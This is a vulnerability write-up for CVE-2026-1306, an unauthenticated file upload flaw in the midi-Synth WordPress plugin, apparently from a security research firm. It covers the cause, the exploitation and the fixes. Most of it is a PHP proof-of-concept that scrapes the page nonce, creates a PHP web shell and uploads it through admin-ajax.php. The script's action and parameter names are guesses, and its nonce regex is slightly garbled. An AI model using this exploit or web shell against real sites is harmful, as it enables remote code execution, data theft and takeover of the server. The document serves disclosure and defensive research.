Atomic Edge analysis of CVE-2026-1306 (metadata-based):
The midi-Synth WordPress plugin contains an unauthenticated arbitrary file upload vulnerability. The flaw resides in the plugin’s ‘export’ AJAX action handler. Attackers can upload any file type to the server, including executable scripts, due to a complete lack of file validation. This vulnerability has a CVSS score of 9.8, indicating critical severity.
Atomic Edge research identifies the root cause as CWE-434, Unrestricted Upload of File with Dangerous Type. The vulnerability description confirms missing file type and file extension validation in the ‘export’ AJAX endpoint. The analysis infers that the AJAX handler uses `wp_ajax_nopriv_{action}` to register the callback, making it accessible to unauthenticated users. The description confirms that a valid nonce is required but is exposed in frontend JavaScript, making it trivially obtainable. The conclusion that the code lacks `sanitize_file_name`, `wp_check_filetype_and_ext`, or proper capability checks is inferred from the CWE classification and the resulting impact.
Exploitation requires two steps. First, an attacker retrieves the required nonce value. This nonce is exposed in the HTML source or frontend JavaScript of a public page using the plugin. The attacker then sends a multipart POST request to the WordPress AJAX handler at `/wp-admin/admin-ajax.php`. The request must set the `action` parameter to the vulnerable handler, which Atomic Edge infers is likely `midi_synth_export` or a similar derivative of the plugin slug. The request includes the stolen nonce and a file upload parameter. The attacker uploads a file with a malicious extension like `.php` to achieve remote code execution.
Effective remediation requires implementing multiple security layers. The patched version likely added server-side file validation using the `wp_check_filetype_and_ext()` function with an allowed MIME type list. The fix should also implement proper capability checks, removing the `nopriv` hook unless absolutely necessary. The nonce should be removed from public exposure or the AJAX action should require user authentication. File uploads should be stored outside the web root or in a directory with strict `.htaccess` rules preventing execution.
Successful exploitation leads to full server compromise. An attacker can upload a web shell, granting remote code execution with the permissions of the web server process. This allows data theft, site defacement, malware distribution, and server persistence. The attack is network exploitable, requires no user interaction, and has high impacts on confidentiality, integrity, and availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1306 - midi-Synth <= 1.1.0 - Unauthenticated Arbitrary File Upload via 'export' AJAX Action
<?php
$target_url = 'http://target-site.com'; // CHANGE THIS
// Step 1: Extract the nonce from the frontend.
// The nonce is exposed in page source, likely in a script tag or data attribute.
// This example assumes a simple regex can find it. The actual location may vary.
$homepage = file_get_contents($target_url . '/');
$nonce_pattern = '/"midi_synth_export_nonce"s*:s*"([a-f0-9]+)"/';
preg_match($nonce_pattern, $homepage, $matches);
if (empty($matches[1])) {
die("[!] Could not extract nonce from frontend. The plugin may not be active on the homepage.");
}
$nonce = $matches[1];
echo "[*] Extracted nonce: $noncen";
// Step 2: Craft the malicious upload request.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The AJAX action is inferred from the plugin slug and description.
// Common patterns: '{plugin_slug}_export', 'midi_synth_export'.
$action = 'midi_synth_export';
// Create a temporary PHP web shell file.
$malicious_content = '<?php if(isset($_REQUEST["cmd"])) { system($_REQUEST["cmd"]); } ?>';
$tmp_file = tempnam(sys_get_temp_dir(), 'exp');
$tmp_file_name = $tmp_file . '.php';
rename($tmp_file, $tmp_file_name);
file_put_contents($tmp_file_name, $malicious_content);
// Prepare the multipart form data using cURL.
$post_fields = [
'action' => $action,
'nonce' => $nonce,
// The file parameter name is inferred; common names are 'file', 'upload_file', 'export_file'.
'file' => new CURLFile($tmp_file_name, 'application/x-php', 'shell.php')
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Clean up local temp file.
unlink($tmp_file_name);
echo "[*] HTTP Response Code: $http_coden";
echo "[*] Response Body: $responsen";
// Step 3: Attempt to verify upload success.
// The plugin's response or upload location is unknown without code.
// An attacker would probe likely directories (e.g., /wp-content/uploads/).
echo "[?] Manual verification required. Check response for file path or upload success indicators.n";
?>
